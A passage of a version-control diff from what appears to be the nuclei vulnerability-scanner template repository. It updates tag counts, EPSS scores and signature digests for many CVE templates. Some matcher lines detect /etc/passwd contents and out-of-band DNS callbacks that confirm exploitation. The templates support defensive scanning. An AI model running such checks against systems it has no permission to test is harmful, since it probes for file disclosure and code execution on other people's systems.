{"name":"linux","count":140},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"ai","count":133},{"name":"cve2017","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"file-upload","count":115},{"name":"cve2010","count":115},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"privesc","count":88},{"name":"windows","count":85},{"name":"takeover","count":82},{"name":"adobe","count":77},{"name":"fileupload","count":77},{"name":"k8s","count":77},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"ics","count":70},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"google","count":68},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"php","count":63},{"name":"ir","count":63},{"name":"oob","count":63},{"name":"alibaba","count":62},{"name":"vpn","count":61},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"firewall","count":54},{"name":"ssti","count":54},{"name":"fortinet","count":53},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"injection","count":52},{"name":"sap","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"wp-theme","count":49},{"name":"ecommerce","count":49},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"info-leak","count":47},{"name":"xxe","count":47},{"name":"hackerone","count":46},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"aliyun","count":45},{"name":"dns","count":45},{"name":"jndi","count":45},{"name":"ssl","count":44},{"name":"kisa","count":44},{"name":"listing","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"dashboard","count":42},{"name":"k8s-cluster-security","count":42},{"name":"osint-hobby","count":42},{"name":"bank","count":42},{"name":"postgresql","count":42},{"name":"osint-porn","count":42},{"name":"tls","count":41},{"name":"dlink","count":40},{"name":"jira","count":39},{"name":"devsecops","count":39},{"name":"scada","count":38},{"name":"cti","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"admin","count":36},{"nameLine truncated
+8415 -8357
View File
File diff suppressed because it is too large. Load diff
+10 -10
View File
@@ -1,12 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6626 | dhiyaneshdk | 2114 | http | 10970 | info | 5013 | file | 447 |
| cve | 4283 | daffainfo | 949 | cloud | 663 | high | 2915 | dns | 33 |
| discovery | 3729 | princechaddha | 867 | file | 447 | medium | 2803 | | |
| vkev | 1795 | dwisiswant0 | 807 | code | 288 | critical | 1820 | | |
| wordpress | 1656 | pussycat0x | 797 | network | 280 | low | 504 | | |
| panel | 1537 | ritikchaddha | 779 | dast | 249 | unknown | 58 | | |
| wp-plugin | 1473 | rxerium | 644 | workflows | 207 | | | | |
| exposure | 1456 | 0x_akoko | 417 | javascript | 124 | | | | |
| xss | 1409 | pikpikcu | 353 | ssl | 38 | | | | |
| osint | 1131 | theamanrawat | 343 | dns | 30 | | | | |
| vuln | 6631 | dhiyaneshdk | 2122 | http | 11038 | info | 5053 | file | 447 |
| cve | 4300 | daffainfo | 949 | cloud | 663 | high | 2928 | dns | 34 |
| discovery | 3731 | princechaddha | 867 | file | 447 | medium | 2811 | | |
| vkev | 1805 | dwisiswant0 | 807 | code | 289 | critical | 1830 | | |
| wordpress | 1657 | pussycat0x | 800 | network | 280 | low | 504 | | |
| panel | 1569 | ritikchaddha | 780 | dast | 249 | unknown | 58 | | |
| wp-plugin | 1473 | rxerium | 676 | workflows | 207 | | | | |
| exposure | 1466 | 0x_akoko | 426 | javascript | 125 | | | | |
| xss | 1411 | pikpikcu | 353 | ssl | 38 | | | | |
| osint | 1131 | theamanrawat | 345 | dns | 31 | | | | |
+1 -1
View File
@@ -18,7 +18,7 @@ info:
cvss-score: 9.8
cve-id: CVE-2016-8735
epss-score: 0.90338
epss-percentile: 0.99785
epss-percentile: 0.99787
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
metadata:
shodan-query: product:"tomcat"
@@ -19,7 +19,7 @@ info:
cve-id: CVE-2016-9299
cwe-id: CWE-90
epss-score: 0.96943
epss-percentile: 0.99882
epss-percentile: 0.99884
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
metadata:
max-request: 1
@@ -126,4 +126,4 @@ code:
- "contains(response,'hudson.remoting.UserRequest')"
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a00473045022050dbe42f3cf04e777f5f0a26328ab131295930caa7112a66391af81802cc572d022100c254bd0d3e1255c3b9d74933833a50509aa19e6a275bc34b1f1dd270e3eda5f4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207dd3779139b60354b1045d509685e1f39a3613e3cfca80c028d36b5850945ff902210099d13ffdab84cd9bd0dcc9f293e8d25bf84a4cd22046d97c5f706f3b8e926d75:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2017-1000353
cwe-id: CWE-502
epss-score: 0.99686
epss-percentile: 0.99948
epss-score: 0.99679
epss-percentile: 0.99949
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
metadata:
vendor: jenkins
@@ -108,4 +108,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202b58589f2ade3c1d9e4d9925706b31c851743ace64d3e8e1fb8b903470e11dee02210093cb504d47f611791575f4d6afcad6aa0e5ded66edbba94b22b7518643358e77:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2019-0604
cwe-id: CWE-20
epss-score: 0.99913
epss-percentile: 0.99966
epss-score: 0.99825
epss-percentile: 0.99958
metadata:
verified: true
vendor: microsoft
@@ -156,4 +156,4 @@ code:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: and
# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502201171fefce742ea6ea89c6d762dc43316be1e1a36eedac19e15e1bf4b5e0718e0022100aa686a9a7427c44d418b500d69ee5f162035a429356feaa5f0b5608c0b531822:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 8.8
cve-id: CVE-2019-14287
cwe-id: CWE-755
epss-score: 0.63917
epss-percentile: 0.99123
epss-score: 0.63764
epss-percentile: 0.9914
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -51,4 +51,4 @@ code:
- '!contains(code_1_response, "root")'
- 'contains(code_2_response, "root")'
condition: and
# digest: 4a0a004730450221009f95a64653539c27c17d96b8dec42d6a4c345813e34945aec95c8303977ab697022027b0914a15a733ce01ccdace0c37a6e651b2c686144d929736ad3d2254f8e04d:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a75c48f1b142b2b419ed81c26655d58acc3bdb28cc9b5a468c44306f5224b0aa02207fdf9cc8b40b4a0519adb50e4c0e6ebb4276179fdefe7e81d6411aea4df9b7f9:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2020-0646
cwe-id: CWE-91
epss-score: 0.99193
epss-percentile: 0.99929
epss-score: 0.99222
epss-percentile: 0.99931
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
metadata:
verified: true
@@ -106,4 +106,4 @@ code:
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502207162f761e3d8ddc260f7d3f67120120f8b615d0a94070bd2fad50ba2d30da7c9022100bac50b9c69fbd7c5dad760e65dd37125ee8d8586bdca7fa75f1b0bafd1912d38:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100cf2dfc153a34f4110bafc3c5d944c7198590e64b9ec8faeaecfddc83bb9549a302204231fe2a3f337117091bada19f86603b9ee90b212a8ae5d59e80df451a792ba9:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -14,8 +14,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2020-13935
epss-score: 0.87553
epss-percentile: 0.99736
epss-score: 0.86608
epss-percentile: 0.9972
reference:
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2021-3156
cwe-id: CWE-193
epss-score: 0.99295
epss-percentile: 0.99933
epss-percentile: 0.99935
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -44,4 +44,4 @@ code:
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition: and
# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206b3d7c784f8b987e2e692e1f4307606a81828155e06b60d5ab010eeef01e490502210082f34aa942e3222cd8cb53013b78b832756c2cd4ee54c7f390f0b47ee452a7a4:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -25,7 +25,7 @@ info:
cve-id: CVE-2022-42475
cwe-id: CWE-197,CWE-787
epss-score: 0.99474
epss-percentile: 0.99938
epss-percentile: 0.9994
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -287,4 +287,4 @@ code:
- type: word
words:
- "Target appears to be VULNERABLE"
# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221008d60f494975c2f365a47491ce27477bf513b0d4f6b71a7fd4e9f82f7c198b11202204104a2dc75be320e2c0f4c39496fb8bf3af3e1e6893fb752b48496479b69180d:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-2640
cwe-id: CWE-863
epss-score: 0.15783
epss-percentile: 0.96475
epss-score: 0.16052
epss-percentile: 0.96588
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
metadata:
verified: true
@@ -55,4 +55,4 @@ code:
- '!contains(code_1_response, "(root)")'
- 'contains(code_2_response, "(root)")'
condition: and
# digest: 4a0a0047304502206db6fef55e0ea3720c171e24875022bc0c0b28fa1e8929bdb072f45c0ad3e787022100dedf028ad02b954b6ff47a920377b8a14bf24d77342839802e179f408530a0a0:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100847f90d73de5f8d2f0778857ff4d79041fb7d8ff513f2ffbbe5b6478badd704902210092f0ffd0900102195494a7c7b01f48922d37e90f9b8b56db2d7817571b8e9877:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2986
epss-score: 0.41077
epss-percentile: 0.98492
epss-score: 0.42814
epss-percentile: 0.98587
cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
@@ -630,4 +630,4 @@ http:
- type: status
status:
- 302
# digest: 490a0046304402204d23bc6ccef12b3347fdbd3ddff22740de748e8fe21616207c13d46631915f94022044d6027dd10783cec3bfa982a825a050cb7c0f93c2bed2d5eb4e8af1e3a432ba:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202c1103b4d3a027922878fc0b3002801e7fd6dc28ff2e2c6e62ab3a217f66d990022100c0bb47eb99344a8ad4a21822d631f9264ac93acf124e1f7a591d5a9800b288ea:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2023-49105
cwe-id: CWE-287
epss-score: 0.11074
epss-percentile: 0.95394
epss-percentile: 0.95477
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
metadata:
max-request: 2
@@ -94,4 +94,4 @@ http:
- type: dsl
dsl:
- '"Username => "+ username'
# digest: 490a00463044022042a5d3d6ba444a5d13ebc2b14e726017a1a1628d159defe06f1fd784754adf4002207eaaf24acd794eef00b23fc181eed45312960ea935f5c00f5783b5675079f80e:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f0e6d3277020b3a8ddf3bf3c3be6eb46a4de25155b77102cb9abecc86a3ffc9202207d3145f0bdaaae1f294dd5d9bc7af4fb1fa913121d328919cf1f223ad06793e5:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2023-4911
cwe-id: CWE-787,CWE-122
epss-score: 0.81422
epss-percentile: 0.99594
epss-percentile: 0.99601
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -43,4 +43,4 @@ code:
- type: word
words:
- "139" # Segmentation Fault Exit Code
# digest: 4a0a00473045022100eebfe3b3bef10d31b6567c5d98fe4ff8a29196ae0bb28b40997cb38a0ac6750202202102070abe91d318e863d75b536aeb56a24ce2adfa23f0e2170cb9a4fad316e4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100d19b5d86c17d0af6ac98a617fd879d727b958c493730c7309ba5cbe5315f840c02205001719fb3a3072066bc13c83710b1c2322bcdc5f0b5cdd17b480ce8d4d6f588:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2023-6246
cwe-id: CWE-787,CWE-122
epss-score: 0.04794
epss-percentile: 0.9087
epss-percentile: 0.91052
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -43,4 +43,4 @@ code:
- type: word
words:
- "127" # Segmentation Fault Exit Code
# digest: 4a0a004730450220159eaaa8ffa7ab7226c8015d7e96ddb3267c41b3e684a1ee2d99321f3182fbf9022100e0597ce6c9a0432c3168a1210aefa6b239b053a6b3e6a764e11e7ed807026e7d:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203cecf36d58f3445cca457cefc22b797709ffb6dc827fc31207f29666d32f09610220486d4b6eb64cd1502dde4c56f2ab194e7f944ffafbd84e2a075a5db6c7bddea1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cve-id: CVE-2024-10443
cwe-id: CWE-77
epss-score: 0.2838
epss-percentile: 0.97889
epss-percentile: 0.97931
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
metadata:
verified: true
@@ -58,4 +58,4 @@ code:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "dns"
# digest: 4a0a0047304502207859036fd3efae7fa01fa07b35bf51d43362e12a6a70c185927e3b4751f9375e022100e79b6014d8afb56f5d2a7270963654a1992cfdc281dba772364157f3fd93b60c:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402200283a15946d6541f4a50c5a659dfffc0d84233f5efad6964fd081e034fd2819c022012b196bdc691cfe4e96fdb07f6c3ada0383f4acb425f46d78319183230615dcc:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cve-id: CVE-2024-12356
cwe-id: CWE-77
epss-score: 0.87991
epss-percentile: 0.99746
epss-percentile: 0.99749
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
metadata:
vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
words:
- "0 success"
- "1 try again later"
# digest: 4b0a0048304602210083c79d1d50a22879901fd6304689af4b01f5e9189138c99116c68b6810bb64ee022100b7f44a0aa7ad267068a405202a4842632130902be81b54fb4517952b052035ec:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022002754a4efb90c6171419cb3beb52c6520571c4a9f97243851cf264b0c2b863ba022100e919583861a01d21149becbb6dac8b1cc54fb242a487874fccde7f11956df66f:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2024-22120
cwe-id: CWE-20
epss-score: 0.76618
epss-percentile: 0.99487
epss-percentile: 0.99494
metadata:
max-request: 1
vendor: zabbix
@@ -73,4 +73,4 @@ code:
- type: word
words:
- "Vulnerable to CVE-2024-22120"
# digest: 4b0a00483046022100c902d7f86bee439e59b7b2480e16fbbf6240b8134c9edd1880769ffd79e23e43022100c956593926cefeeaeecb478bb0b1428fbc47c4b2d6ac5e036a9e34db5f029dcc:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220449514cb78a8b7e5cec8154ca658d48d70a77f42275bf767828395ae8fc41ba0022049d421e536dbdd00845b3b27c392f064be950fd86e38fe7003ecf55eeefe7cd1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2024-3094
cwe-id: CWE-506
epss-score: 0.85974
epss-percentile: 0.99702
epss-percentile: 0.9971
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
metadata:
verified: true
@@ -63,4 +63,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100ffc100ac65c04f91487e3a92e982153a428d575f636e7847511d7c569e2d5d0a022001e1eaa3c0b5a529a7d2c6987c22c324b74c07e410a64fffc0a85f5150dd0a3b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220470cbd1904aa5e753bd6a3118f99fd7c7e6971aa0008c5830706bc3a18b22459022100961230842cc4a42af1ed1d9574bbcb212ff73833eacd7bc728a4e31697b84ef6:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -15,7 +15,7 @@ info:
cvss-score: 7.5
cve-id: CVE-2024-4340
epss-score: 0.0321
epss-percentile: 0.86643
epss-percentile: 0.86912
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
part: stderr
words:
- "RecursionError: maximum recursion depth exceeded"
# digest: 4a0a00473045022100d25e4a13b66e18a70793db50686b8963280b7dc7e988a3480bea6d5700ed191e022032a5a86d1d784015c036d4cc9c56755d26cfdbd5ba7223124c81d91aa37f3d30:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402200edb5a16b3ef45f8bcf090e7cc3d570777fb49fc2ad0bd343f46b79ad6f3905102207779a5602b7297529412449897f020a522a8c3c6b9390827dcf5a6594c902ff0:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2024-45409
cwe-id: CWE-347
epss-score: 0.10684
epss-percentile: 0.95276
epss-percentile: 0.95355
metadata:
verified: true
shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a0047304502206fa8f842163f2c409cca1ad291289aca760f9c937aa5f71b1bef63d521082192022100e5a05953d273f8d6e701f1334125461737f1656477e849d32109115c11f4c577:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402202a501639f0eaa232c22966a48d47484325e60af0ce39ae6e19d57dc8f5c78de9022020476d5ed4b17dd4d3d8ff77b64eee23b5a3992e4929926545f8ba91e114a8e5:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-47575
cwe-id: CWE-306
epss-score: 0.94761
epss-percentile: 0.99848
epss-score: 0.9495
epss-percentile: 0.99854
cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
@@ -147,4 +147,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100fdb74fcf79cd701f57a01aaf43beeeb8cf079d5e1da155dee73f81c39f4bc0b3022100afe2b79b85d61d529ab1793d29aa8dcfeb43933fdeeb2984c994f920faa13164:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-55556
cwe-id: CWE-502
epss-score: 0.4356
epss-percentile: 0.98582
epss-score: 0.44126
epss-percentile: 0.98628
metadata:
verified: true
max-request: 2
@@ -195,4 +195,4 @@ http:
- type: status
status:
- 500
# digest: 4a0a0047304502207a771388c0c447bd8a872e34fdcb4c20f7a2e794dd7e3f21eee486acb68449e7022100c62bfe32aedec00d572eaf40222eea80573c4718a6b72b3c944e29de1d0449f3:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022010d2fb2339ffb12b430246ac50eb174588169f3fee075cebe3f383d8ff1bcc840221009747a5cdbf27caf5e394905d0c66d6f0619bbd25f11316118e099ff496dacc68:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 6.8
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.01793
epss-percentile: 0.75773
epss-score: 0.01829
epss-percentile: 0.76715
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 490a00463044022058dd549617610fd70c3bef78c51b60e727f9ba8a96482936f4d5eb44d3ad3ce2022072257ae6937461320bf62848f0e8885bc06e2add58fb576e39cfabda45b5fad5:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100c548003a87d66d626f6f5d7db8bc1fd11cc107bebbd611f06e4e31bf0ab72383022100b097707dcb27bb2d22d643031a26ca885a357261db31c386c78894a45dc63803:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -14,8 +14,8 @@ info:
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
- https://github.com/advisories/GHSA-g83h-4727-5rpv
classification:
epss-score: 0.22443
epss-percentile: 0.97411
epss-score: 0.25126
epss-percentile: 0.97714
metadata:
verified: true
shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
- type: kval
kval:
- user_session
# digest: 4a0a0047304502202e72afd0230955ea7101f82008388d9b886b3c2fb3dc41ec592f3e3f14d0a83a02210096e9bd166ef3522b5cc8c16b9820ddb639cf66363c22c7811aaccb30687e75eb:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022014e9cec98f321008e4ad9998a07d5df31c294043de7fb2bea3c42d62e4cb6223022021c56aed2066dbfd5cd510d1daa0f66e3ac88221c832cb3a23711868a105f0ee:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -16,7 +16,7 @@ info:
- https://towerofhanoi.it/writeups/cve-2025-1550/
classification:
epss-score: 0.02803
epss-percentile: 0.84774
epss-percentile: 0.85062
metadata:
max-request: 1
tags: cve,cve2025,code,keras,rce,ml
@@ -77,4 +77,4 @@ code:
part: response
regex:
- "root:.*:0:0:"
# digest: 490a004630440220397b16b7852b80eff0d9833cb912c5f17137b1ca151ef9e330a544b5df96bfab0220474718d09cac82ed59bb2e36d23e7d638f5f87813fe2e52bd44c5e0c2526472c:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402205017aa2c9d1c43159baf5c20a36ed72aef563ae3641d649661de340645c56b2a022050405db29b5b6226df67551e6c5e3f581d4a2c52eeb269ce4eceded5b4e1342f:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.99979
epss-percentile: 0.9998
epss-score: 0.99932
epss-percentile: 0.99969
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
@@ -164,4 +164,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402202416ae397291fa010a2b01f51ff9b583a28df11ecbc9f4f27f08c7d544ee3d01022016137ea4a226a8b663b40c5eaa69994cbcfcd604ef3def4b57e6ea238e36a44d:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.19506
epss-percentile: 0.97043
epss-percentile: 0.97099
metadata:
verified: true
vendor: gitlab
@@ -80,4 +80,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 4a0a00473045022100e2c601dd7e8539fb1cd1a8d57d50bf4220717095b09e8f5129be02d8af437b69022045bb134b59416d6d526a7d108e5741aae74c2b9a5259c6dbf3b550a003fa84ee:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402200c601021187e3efb22b060dd14e8b89e82058d58c7da74ea573c34ff1bf501f502203ae80addf259f96f37f7358049bfb61e31f06f4b7dbcda6b8efa5c54048b4f89:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -22,8 +22,8 @@ info:
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.97859
epss-percentile: 0.999
epss-score: 0.98594
epss-percentile: 0.99919
metadata:
verified: true
max-request: 1
@@ -174,4 +174,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100b2e75735e53758466161dd2296bd0b9a4d657b276b024463138f1b6ba766d303022063eeebaef1706409359ee16d3ec18c2f0876d9d50e5cb438b9633ebfbcd8e844:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -18,8 +18,8 @@ info:
- https://explore.alas.aws.amazon.com/CVE-2025-32463.html
classification:
cve-id: CVE-2025-32463
epss-score: 0.47467
epss-percentile: 0.98699
epss-score: 0.54935
epss-percentile: 0.98926
cvss-score: 9.3
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cwe-id: CWE-426
@@ -64,4 +64,4 @@ code:
- "!contains(tolower(response), 'password')"
- "!contains(tolower(response), 'a password is required')"
- "!contains(tolower(response), 'is not in the sudoers file')"
# digest: 490a004630440220136e0b750d94d77ac44ebd9c17cc4b63caefb98466cd8cfaf60285a02339b91c0220283634be0c9a783f5ed4b917983d4e860fc588e568f3b876e4cc5832c75e337c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202bca841b2230a2c4d60e9589e4bfe6ec42460bf7a3f05f05240d43d3ecd6b8e7022100fcc85c148c3f617a2dbd04b00e35e285793e5c42ca0d8302e388bbf3e87f057b:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cvss-score: 9.8
cve-id: CVE-2025-54309
epss-score: 0.92034
epss-percentile: 0.99807
epss-percentile: 0.9981
cwe-id: CWE-287,CWE-362
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
metadata:
@@ -200,4 +200,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4b0a00483046022100e8682f6eb18cc49cd7ed9946e1e0df3225844789666f622234e0b55ce31f1ded022100fc067931b6b02b90f0d072f19a5e3a400dfb0a842bdedb8cd71da31370ce3cc1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100e2ac5996a264bf4c7f6bf060b7c6a7129a06fd8af5c8b8a5d75885233472735202202c890241610a3e5abe26ab27b5c9ae4e54cc83458f0d0234313e37fc1f39c253:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -15,8 +15,8 @@ info:
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
classification:
epss-score: 0.29434
epss-percentile: 0.97955
epss-score: 0.34535
epss-percentile: 0.98257
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
- type: dsl # type of the extractor
dsl:
